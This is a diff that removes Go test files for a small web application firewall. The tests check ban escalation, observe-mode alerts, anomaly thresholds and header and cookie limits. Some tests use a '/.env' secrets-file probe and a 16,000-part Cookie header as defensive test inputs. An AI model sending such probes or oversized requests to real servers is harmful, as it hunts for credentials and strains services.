s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
|
||||
|
||||
permanentBan := server.Ledger.Bans(netblock)[0]
|
||||
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
|
||||
|
||||
// Another client's probe after its first ban has run out without a
|
||||
// request makes a permanent ban at once.
|
||||
s.request(otherClient, "/.env", http.StatusForbidden,
|
||||
requestlog.ActionTemporarilyBanned)
|
||||
clk.advance(7 * 24 * time.Hour)
|
||||
s.request(otherClient, "/.env", http.StatusForbidden,
|
||||
requestlog.ActionPermanentlyBanned)
|
||||
|
||||
otherBans := server.Ledger.Bans(other)
|
||||
|
||||
wantAlerts(t, queue,
|
||||
attackAlert(alerts.EventBan, start, client, attackBan,
|
||||
requestlog.FormatTime(start.Add(7*24*time.Hour))),
|
||||
attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client,
|
||||
permanentBan, "permanent"),
|
||||
attackAlert(alerts.EventBan, start.Add(time.Minute), otherClient, otherBans[0],
|
||||
requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour))),
|
||||
attackAlert(alerts.EventPermanentBan, start.Add(time.Minute+7*24*time.Hour),
|
||||
otherClient, otherBans[1], "permanent"),
|
||||
)
|
||||
}
|
||||
|
||||
func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||
mode: observe,
|
||||
rateLimitPerMinute: "2",
|
||||
rulesDir: writeRules(t, testRules),
|
||||
})
|
||||
start := clk.Now()
|
||||
|
||||
// A ban for a clear sign of attack, which a request under it would make
|
||||
// permanent.
|
||||
group := netip.MustParsePrefix(ipv6Group)
|
||||
attackBan, _ := server.Ledger.BanForAttack(group, start, bans.Notes{RuleID: "probe"})
|
||||
|
||||
// The third request breaks the limit, and so does the fourth, within the
|
||||
// cooldown, which raises nothing. The probe is a clear sign of attack.
|
||||
for range 4 {
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
|
||||
line := s.get(ipv6Client, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
// No ban is made, and none made permanent.
|
||||
held := server.Ledger.Snapshot()
|
||||
if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
|
||||
line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
|
||||
t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
|
||||
"for the attack alone, as it was", held, line.BanExpires)
|
||||
}
|
||||
|
||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||
if len(waiting) != 3 || queue.Suppressed() != 0 {
|
||||
t.Fatalf("%d alerts wait and %d are held back, want 3 and 0: %+v",
|
||||
len(waiting), queue.Suppressed(), waiting)
|
||||
}
|
||||
|
||||
limitNotes, _ := waiting[0].Detail["notes"].(bans.Notes)
|
||||
attackNotes, _ := waiting[1].Detail["notes"].(bans.Notes)
|
||||
|
||||
if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" ||
|
||||
attackNotes.Request.Path != "/.env" {
|
||||
t.Errorf("the notes are %+v and %+v, want those of the broken limit and "+
|
||||
"of the probe", limitNotes, attackNotes)
|
||||
}
|
||||
|
||||
// Each alert is the one enforce mode would have raised, with mode
|
||||
// observe in its detail.
|
||||
want := []alerts.Alert{
|
||||
banAlert(alerts.EventBan, start, client, bans.Ban{
|
||||
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
|
||||
Reason: "requests per minute over the limit of 2", Notes: limitNotes,
|
||||
}, requestlog.FormatTime(start.Add(time.Hour))),
|
||||
attackAlert(alerts.EventBan, start, otherClient, bans.Ban{
|
||||
Netblock: netip.MustParsePrefix(otherClient + "/32"), Notes: attackNotes,
|
||||
}, requestlog.FormatTime(start.Add(7*24*time.Hour))),
|
||||
attackAlert(alerts.EventPermanentBan, start, ipv6Client, attackBan, permanent),
|
||||
}
|
||||
for _, alert := range want {
|
||||
alert.Detail["mode"] = observe
|
||||
}
|
||||
|
||||
wantAlerts(t, queue, want...)
|
||||
}
|
||||
|
||||
func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _, queue := startWithAlerts(t, map[string]string{
|
||||
mode: observe,
|
||||
rateLimitPerMinute: "2",
|
||||
rulesDir: writeRules(t, testRules),
|
||||
alertMaxPerHour: "2",
|
||||
})
|
||||
|
||||
// The client's third request breaks the limit, and raises the first
|
||||
// alert of the hour. Its fourth is within the cooldown.
|
||||
for range 4 {
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
// The other client's first probe raises the second. Its second probe is
|
||||
// within the cooldown.
|
||||
for range 2 {
|
||||
s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
// The IPv6 client's third request breaks the limit past the two alerts
|
||||
// an hour.
|
||||
for range 3 {
|
||||
s.get(ipv6Client, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
// Had the ban been worked out for any of the requests within the
|
||||
// cooldown or past the two an hour, its alert would have been raised,
|
||||
// held back and counted.
|
||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||
if len(waiting) != 2 || queue.Suppressed() != 0 {
|
||||
t.Errorf("%d alerts wait and %d are held back, want 2 and 0: %+v",
|
||||
len(waiting), queue.Suppressed(), waiting)
|
||||
}
|
||||
}
|
||||
|
||||
// startWithAlerts is startWithClock with alerts to a webhook, which is
|
||||
// never sent them, and returns the queue they wait in as well.
|
||||
func startWithAlerts(
|
||||
t *testing.T, env map[string]string,
|
||||
) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
|
||||
t.Helper()
|
||||
|
||||
return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
|
||||
}
|
||||
|
||||
// startAppWithAlerts is startWithAlerts in front of the app handler.
|
||||
func startAppWithAlerts(
|
||||
t *testing.T, handler http.HandlerFunc, env map[string]string,
|
||||
) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
|
||||
t.Helper()
|
||||
|
||||
app := startApp(t, handler)
|
||||
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
|
||||
settings := map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
alertWebhookURL: "https://alerts.example/sww",
|
||||
instanceName: alertInstance,
|
||||
}
|
||||
maps.Copy(settings, env)
|
||||
|
||||
addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
|
||||
|
||||
s := &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}
|
||||
|
||||
return s, clk, server, queue
|
||||
}
|
||||
|
||||
// banAlert returns the alert for event, raised by a request from client at
|
||||
// the time raised, for ban, with its netblock, cause, reason and notes,
|
||||
// which ends at expires, as the log line gives it.
|
||||
func banAlert(
|
||||
event string, raised time.Time, client string, ban bans.Ban, expires string,
|
||||
) alerts.Alert {
|
||||
return alerts.Alert{
|
||||
Instance: alertInstance,
|
||||
Time: raised,
|
||||
Event: event,
|
||||
Host: appHost,
|
||||
Client: netip.MustParseAddr(client),
|
||||
Netblock: ban.Netblock,
|
||||
Reason: ban.Reason,
|
||||
Detail: map[string]any{
|
||||
"cause": ban.Cause, "ban_expires": expires, "notes": ban.Notes,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// attackAlert is banAlert for a ban for the probe rule of testRules, with
|
||||
// the netblock and the notes of ban.
|
||||
func attackAlert(
|
||||
event string, raised time.Time, client string, ban bans.Ban, expires string,
|
||||
) alerts.Alert {
|
||||
return banAlert(event, raised, client, bans.Ban{
|
||||
Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe",
|
||||
Notes: ban.Notes,
|
||||
}, expires)
|
||||
}
|
||||
|
||||
// wantAlerts checks the alerts waiting in queue, in order.
|
||||
func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
|
||||
t.Helper()
|
||||
|
||||
got := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||
if len(got) != len(want) {
|
||||
t.Fatalf("%d alerts wait, want %d: %+v", len(got), len(want), got)
|
||||
}
|
||||
|
||||
for i := range want {
|
||||
if !reflect.DeepEqual(got[i], want[i]) {
|
||||
t.Errorf("alert %d is\n%+v\nwant\n%+v", i, got[i], want[i])
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,32 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"net/netip"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
)
|
||||
|
||||
func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// A request from a client looked up through GeoJS, with every anomaly
|
||||
// threshold off. Its handler has neither GeoJS's answers nor the
|
||||
// anomaly counters, nor a clock, and the request no response: reading
|
||||
// any of them to count the request panics.
|
||||
rq := &request{
|
||||
decision: decision{
|
||||
client: netip.MustParseAddr("203.0.113.9"),
|
||||
lookedUp: true,
|
||||
},
|
||||
h: &handler{config: &config.Config{LookupSource: "geojs"}},
|
||||
}
|
||||
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
t.Errorf("counting the request did work, with every threshold off: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
rq.countAnomalies()
|
||||
}
|
||||
@@ -1,378 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"maps"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"reflect"
|
||||
"slices"
|
||||
"strconv"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// The anomaly thresholds: the prefix of a scope followed by the end of a
|
||||
// count.
|
||||
const (
|
||||
anomalyClient = "SWW_ANOMALY_CLIENT_"
|
||||
anomalyNet = "SWW_ANOMALY_NET_"
|
||||
anomalyASN = "SWW_ANOMALY_ASN_"
|
||||
anomalyTotal = "SWW_ANOMALY_TOTAL_"
|
||||
anomalyWatch = "SWW_WATCH_"
|
||||
|
||||
requestsPerMinute = "REQUESTS_PER_MINUTE"
|
||||
requestsPerHour = "REQUESTS_PER_HOUR"
|
||||
bytesPerMinute = "BYTES_PER_MINUTE"
|
||||
bytesPerHour = "BYTES_PER_HOUR"
|
||||
)
|
||||
|
||||
// The other anomaly settings.
|
||||
const (
|
||||
anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX"
|
||||
anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX"
|
||||
watchNets = "SWW_WATCH_NETS"
|
||||
)
|
||||
|
||||
const (
|
||||
// clientsNet is the netblock around client at the default length, and
|
||||
// office a named netblock of the same.
|
||||
clientsNet = "203.0.113.0/24"
|
||||
office = "office=" + clientsNet
|
||||
// aLot is a threshold no test reaches.
|
||||
aLot = "1000"
|
||||
// hour is the window an alert names for a threshold per hour.
|
||||
hour = "hour"
|
||||
)
|
||||
|
||||
func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, scope := range []struct {
|
||||
prefix, scope string
|
||||
// netblock is the alert's, and counted what its reason names. extra
|
||||
// is what its detail gives besides what every anomaly alert's does.
|
||||
netblock netip.Prefix
|
||||
counted string
|
||||
extra map[string]any
|
||||
}{
|
||||
{
|
||||
anomalyClient, anomaly.ScopeClient, netip.MustParsePrefix(client + "/32"),
|
||||
"the client " + client + "/32", nil,
|
||||
},
|
||||
{
|
||||
anomalyNet, anomaly.ScopeNet, netip.MustParsePrefix(clientsNet),
|
||||
"the netblock " + clientsNet, nil,
|
||||
},
|
||||
{anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}},
|
||||
{anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil},
|
||||
{
|
||||
anomalyWatch, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet),
|
||||
"the named netblock office, " + clientsNet, map[string]any{"name": "office"},
|
||||
},
|
||||
} {
|
||||
for _, threshold := range []struct {
|
||||
end, kind, window string
|
||||
// value is the threshold, which the third upload of 100 bytes
|
||||
// takes the count over, to count.
|
||||
value int64
|
||||
count float64
|
||||
}{
|
||||
{requestsPerMinute, ratelimit.KindRequests, minute, 2, 3},
|
||||
{requestsPerHour, ratelimit.KindRequests, hour, 2, 3},
|
||||
{bytesPerMinute, ratelimit.KindBytes, minute, 250, 300},
|
||||
{bytesPerHour, ratelimit.KindBytes, hour, 250, 300},
|
||||
} {
|
||||
setting := scope.prefix + threshold.end
|
||||
value := strconv.FormatInt(threshold.value, 10)
|
||||
|
||||
t.Run(setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
|
||||
setting: value, watchNets: office,
|
||||
})
|
||||
start := clk.Now()
|
||||
|
||||
// The third upload takes the count over the threshold, and the
|
||||
// fourth, within the cooldown, is held back. Each is passed to
|
||||
// the app.
|
||||
for range 4 {
|
||||
s.uploadFrom(client)
|
||||
}
|
||||
|
||||
detail := map[string]any{
|
||||
"scope": scope.scope, "window": threshold.window, "kind": threshold.kind,
|
||||
"count": threshold.count, "threshold": threshold.value,
|
||||
}
|
||||
maps.Copy(detail, scope.extra)
|
||||
|
||||
wantAlerts(t, queue, alerts.Alert{
|
||||
Instance: alertInstance,
|
||||
Time: start,
|
||||
Event: alerts.EventAnomaly,
|
||||
Host: appHost,
|
||||
Client: netip.MustParseAddr(client),
|
||||
Netblock: scope.netblock,
|
||||
ASN: asnDE,
|
||||
ASName: asNameDE,
|
||||
Country: "DE",
|
||||
Reason: threshold.kind + " per " + threshold.window + " of " +
|
||||
scope.counted + " over the threshold of " + value,
|
||||
Detail: detail,
|
||||
})
|
||||
|
||||
wantAlertedAgainOnceTheCooldownHasRunOut(t, s, clk, queue)
|
||||
|
||||
if held := server.Ledger.Snapshot(); len(held) != 0 {
|
||||
t.Errorf("the ledger holds %+v, want no ban", held)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// wantAlertedAgainOnceTheCooldownHasRunOut checks that, once the cooldown
|
||||
// has run out after a first alert, which held back one repeat, the next
|
||||
// count over the threshold, at the latest three uploads from client on,
|
||||
// raises another alert, giving that repeat.
|
||||
func wantAlertedAgainOnceTheCooldownHasRunOut(
|
||||
t *testing.T, s *sender, clk *clock, queue *alerts.Queue,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
clk.advance(15 * time.Minute)
|
||||
|
||||
for range 3 {
|
||||
s.uploadFrom(client)
|
||||
}
|
||||
|
||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||
if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) ||
|
||||
waiting[1].SuppressedRepeats != 1 {
|
||||
t.Errorf("alerts wait %+v, want the first and another, with 1 repeat", waiting)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
allowed = "192.0.2.7" // in SWW_ALLOW_NETS
|
||||
exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
||||
denied = "192.0.2.20" // in SWW_DENY_NETS
|
||||
)
|
||||
|
||||
s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
|
||||
anomalyClient + requestsPerMinute: "2",
|
||||
allowNets: allowed,
|
||||
rateLimitExemptNets: exempt,
|
||||
rateLimitExemptPaths: "/static/",
|
||||
denyNets: denied,
|
||||
})
|
||||
|
||||
// The third request of each takes its client's count over the threshold
|
||||
// of 2.
|
||||
for _, sent := range []struct {
|
||||
from, path string
|
||||
status int
|
||||
action string
|
||||
}{
|
||||
{allowed, "/", http.StatusOK, requestlog.ActionForward},
|
||||
{exempt, "/", http.StatusOK, requestlog.ActionForward},
|
||||
{client, "/static/app.js", http.StatusOK, requestlog.ActionForward},
|
||||
{denied, "/", http.StatusForbidden, requestlog.ActionClientDenied},
|
||||
} {
|
||||
for range 3 {
|
||||
s.request(sent.from, sent.path, sent.status, sent.action)
|
||||
}
|
||||
}
|
||||
|
||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||
|
||||
got := make([]string, 0, len(waiting))
|
||||
for _, alert := range waiting {
|
||||
got = append(got, alert.Client.String())
|
||||
}
|
||||
|
||||
if want := []string{allowed, exempt, client, denied}; !slices.Equal(got, want) {
|
||||
t.Errorf("alerts for the clients %v, want %v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// With every threshold off, nothing is counted.
|
||||
s, server, queue := startWithLookups(t, map[string]string{watchNets: office})
|
||||
|
||||
for range 5 {
|
||||
s.uploadFrom(client)
|
||||
}
|
||||
|
||||
if counters := server.Anomalies.Snapshot(); len(counters) != 0 {
|
||||
t.Errorf("counters %+v, want none", counters)
|
||||
}
|
||||
|
||||
wantAlerts(t, queue)
|
||||
|
||||
// With one set, its count alone is counted, in its scope alone.
|
||||
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
|
||||
anomalyNet + requestsPerMinute: aLot, watchNets: office,
|
||||
})
|
||||
|
||||
for range 5 {
|
||||
s.uploadFrom(client)
|
||||
}
|
||||
|
||||
want := []anomaly.Counter{{
|
||||
Scope: anomaly.ScopeNet,
|
||||
Netblock: netip.MustParsePrefix(clientsNet),
|
||||
Minute: ratelimit.Buckets{Start: clk.Now(), Current: 5},
|
||||
}}
|
||||
if got := server.Anomalies.Snapshot(); !reflect.DeepEqual(got, want) {
|
||||
t.Errorf("counters\n%+v\nwant\n%+v", got, want)
|
||||
}
|
||||
|
||||
wantAlerts(t, queue)
|
||||
}
|
||||
|
||||
func TestNetblockAroundAClientIsAsLongAsTheSettingsSay(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
env map[string]string
|
||||
// Each client of sent sends one request, and want gives the
|
||||
// netblocks they are counted in, each with its requests.
|
||||
sent []string
|
||||
want map[string]int64
|
||||
}{
|
||||
{
|
||||
"by default", nil,
|
||||
[]string{client, "203.0.113.200", "192.0.2.7", ipv6Client, "2001:db8:0:ffff::1"},
|
||||
map[string]int64{clientsNet: 2, "192.0.2.0/24": 1, "2001:db8::/48": 2},
|
||||
},
|
||||
{
|
||||
"as set", map[string]string{anomalyNetV4Prefix: "16", anomalyNetV6Prefix: "32"},
|
||||
[]string{client, "203.0.200.1", ipv6Client, "2001:db8:ffff::1"},
|
||||
map[string]int64{"203.0.0.0/16": 2, "2001:db8::/32": 2},
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
env := map[string]string{anomalyNet + requestsPerMinute: aLot}
|
||||
maps.Copy(env, tc.env)
|
||||
|
||||
s, _, server, _ := startAppWithAlerts(t, readAndAnswer, env)
|
||||
|
||||
for _, from := range tc.sent {
|
||||
s.get(from, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
got := map[string]int64{}
|
||||
for _, counter := range server.Anomalies.Snapshot() {
|
||||
got[counter.Netblock.String()] = counter.Minute.Current
|
||||
}
|
||||
|
||||
if !maps.Equal(got, tc.want) {
|
||||
t.Errorf("requests by netblock %v, want %v", got, tc.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientIsCountedForItsASNumberOnceTheLookupGivesOne(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
anomalyASN + requestsPerMinute: aLot,
|
||||
})
|
||||
|
||||
// The lookup database does not hold unplaced.
|
||||
for _, from := range []string{fromDE, fromDE, fromKP, noCountry, unplaced} {
|
||||
s.uploadFrom(from)
|
||||
}
|
||||
|
||||
got := map[string]int64{}
|
||||
for _, counter := range server.Anomalies.Snapshot() {
|
||||
got[counter.ASN] = counter.Minute.Current
|
||||
}
|
||||
|
||||
if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(got, want) {
|
||||
t.Errorf("requests by AS number %v, want %v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// The stand-in for GeoJS answers only once released, which the app
|
||||
// does as it answers the request, and then waits until the answer is
|
||||
// kept.
|
||||
geojsURL, _, release := startHeldGeoJS(t)
|
||||
|
||||
var server atomic.Pointer[discriminator.Server]
|
||||
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
release()
|
||||
waitUntil(func() bool {
|
||||
_, kept := server.Load().GeoJS.Kept(netip.MustParsePrefix(fromDE + "/32"))
|
||||
|
||||
return kept
|
||||
})
|
||||
})
|
||||
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
|
||||
addr, out, started := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
|
||||
map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
lookupTimeout: "1h",
|
||||
anomalyASN + requestsPerMinute: aLot,
|
||||
})
|
||||
server.Store(started)
|
||||
|
||||
// The request went on without the answer, and is counted for the AS
|
||||
// number it gives.
|
||||
s := &sender{t: t, addr: addr, out: out}
|
||||
if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" {
|
||||
t.Errorf("log line has AS number %q, want none: the request waited", line.ASN)
|
||||
}
|
||||
|
||||
want := []anomaly.Counter{{
|
||||
Scope: anomaly.ScopeASN, ASN: asnDE,
|
||||
Minute: ratelimit.Buckets{Start: clk.Now(), Current: 1},
|
||||
}}
|
||||
if got := started.Anomalies.Snapshot(); !reflect.DeepEqual(got, want) {
|
||||
t.Errorf("counters\n%+v\nwant\n%+v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server, _ := startAppWithAlerts(t, readAndAnswer, map[string]string{
|
||||
anomalyWatch + requestsPerMinute: aLot,
|
||||
watchNets: office + ",wide=203.0.0.0/16,other=198.51.100.0/25",
|
||||
})
|
||||
|
||||
// client is in office and in wide.
|
||||
for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} {
|
||||
s.get(from, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
got := map[string]int64{}
|
||||
for _, counter := range server.Anomalies.Snapshot() {
|
||||
got[counter.Name] = counter.Minute.Current
|
||||
}
|
||||
|
||||
if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(got, want) {
|
||||
t.Errorf("requests by named netblock %v, want %v", got, want)
|
||||
}
|
||||
}
|
||||
@@ -1,588 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"maps"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/netip"
|
||||
"slices"
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
"testing/synctest"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
const (
|
||||
// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
|
||||
// discriminator has to answer.
|
||||
answerTimeLimit = 2 * time.Second
|
||||
// defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
|
||||
defaultLookupWait = 800 * time.Millisecond
|
||||
// The header limits SPEC.md gives.
|
||||
cookieLimit = 50
|
||||
headerFieldLimit = 100
|
||||
// cookieHeader is the header the cookie limit counts.
|
||||
cookieHeader = "Cookie"
|
||||
// tooLarge is how discriminator refuses a request over the header limits.
|
||||
tooLarge = http.StatusRequestHeaderFieldsTooLarge
|
||||
// silentAbuseIPDBURL is where AbuseIPDB never answers: at the stand-in
|
||||
// that silentGeoJSURL names too.
|
||||
silentAbuseIPDBURL = "silent://abuseipdb/api/v2/check"
|
||||
// wholeLimit is the percentage of a rate limit that lowers it not at all.
|
||||
wholeLimit = 100
|
||||
// clientsDecision is the CrowdSec decision list holding client alone.
|
||||
clientsDecision = `[{"duration": "4h0m0s", "scenario": "crowdsecurity/ssh-bf", ` +
|
||||
`"scope": "Ip", "type": "ban", "value": "` + client + `"}]`
|
||||
)
|
||||
|
||||
// cookies returns a Cookie header's value with count cookies.
|
||||
func cookies(count int) string {
|
||||
parts := make([]string, 0, count)
|
||||
for i := range count {
|
||||
parts = append(parts, "c"+strconv.Itoa(i)+"=1")
|
||||
}
|
||||
|
||||
return strings.Join(parts, "; ")
|
||||
}
|
||||
|
||||
// fillHeaders adds headers to a question until the checks see total header
|
||||
// fields: all but ClientHeader and PeerHeader, which discriminator removes. Go's
|
||||
// client sends nothing else but Host, which the limit does not count, once
|
||||
// User-Agent is set.
|
||||
func fillHeaders(req *http.Request, total int) {
|
||||
req.Header.Set("User-Agent", "test")
|
||||
|
||||
for i := len(req.Header) - 2; i < total; i++ {
|
||||
req.Header.Set("X-Filler-"+strconv.Itoa(i), "1")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSixteenThousandCookiesAreRefusedWellWithinTheTimeLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startDiscriminator(t, "", map[string]string{wafMode: block})
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
||||
|
||||
began := time.Now()
|
||||
got := do(t, req)
|
||||
|
||||
if took := time.Since(began); took >= answerTimeLimit/2 {
|
||||
t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
|
||||
}
|
||||
|
||||
wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
|
||||
|
||||
line := s.out.requestLine(t)
|
||||
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
|
||||
|
||||
if line.DurationCoreRuleSetMS != nil {
|
||||
t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationCoreRuleSetMS)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHeaderLimitRefusalNamesItsHeuristicCountsAndLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startDiscriminator(t, "", nil)
|
||||
req := s.question(siteA, client, "/")
|
||||
fillHeaders(req, headerFieldLimit+1)
|
||||
do(t, req)
|
||||
|
||||
wantHeuristic(t, s.out.requestLine(t), "header_limits",
|
||||
`{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`)
|
||||
}
|
||||
|
||||
func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
repeated := make([]string, headerFieldLimit)
|
||||
for i := range repeated {
|
||||
repeated[i] = "1"
|
||||
}
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
make func(*http.Request)
|
||||
// refused is true for a request over a limit, and false for one at it.
|
||||
refused bool
|
||||
}{
|
||||
{"cookies at the limit", func(req *http.Request) {
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit))
|
||||
}, false},
|
||||
{"cookies over the limit", func(req *http.Request) {
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
}, true},
|
||||
{"parts empty or only spaces and tabs are no cookies", func(req *http.Request) {
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit)+"; \t;;")
|
||||
}, false},
|
||||
{"parts of no-break spaces count", func(req *http.Request) {
|
||||
req.Header.Set(cookieHeader, strings.Repeat(" ;", cookieLimit+1))
|
||||
}, true},
|
||||
{"cookies over the limit across two headers", func(req *http.Request) {
|
||||
req.Header[cookieHeader] = []string{cookies(cookieLimit), "last=1"}
|
||||
}, true},
|
||||
{"cookies without a value count", func(req *http.Request) {
|
||||
req.Header.Set(cookieHeader, strings.Repeat("a;", cookieLimit+1))
|
||||
}, true},
|
||||
{"header fields at the limit", func(req *http.Request) {
|
||||
fillHeaders(req, headerFieldLimit)
|
||||
}, false},
|
||||
{"header fields over the limit", func(req *http.Request) {
|
||||
fillHeaders(req, headerFieldLimit+1)
|
||||
}, true},
|
||||
{"a header sent many times counts each time", func(req *http.Request) {
|
||||
req.Header["X-Filler"] = repeated
|
||||
}, true},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startDiscriminator(t, "", map[string]string{wafMode: block})
|
||||
req := s.question(siteA, client, "/")
|
||||
tc.make(req)
|
||||
|
||||
got := do(t, req)
|
||||
line := s.out.requestLine(t)
|
||||
|
||||
if tc.refused {
|
||||
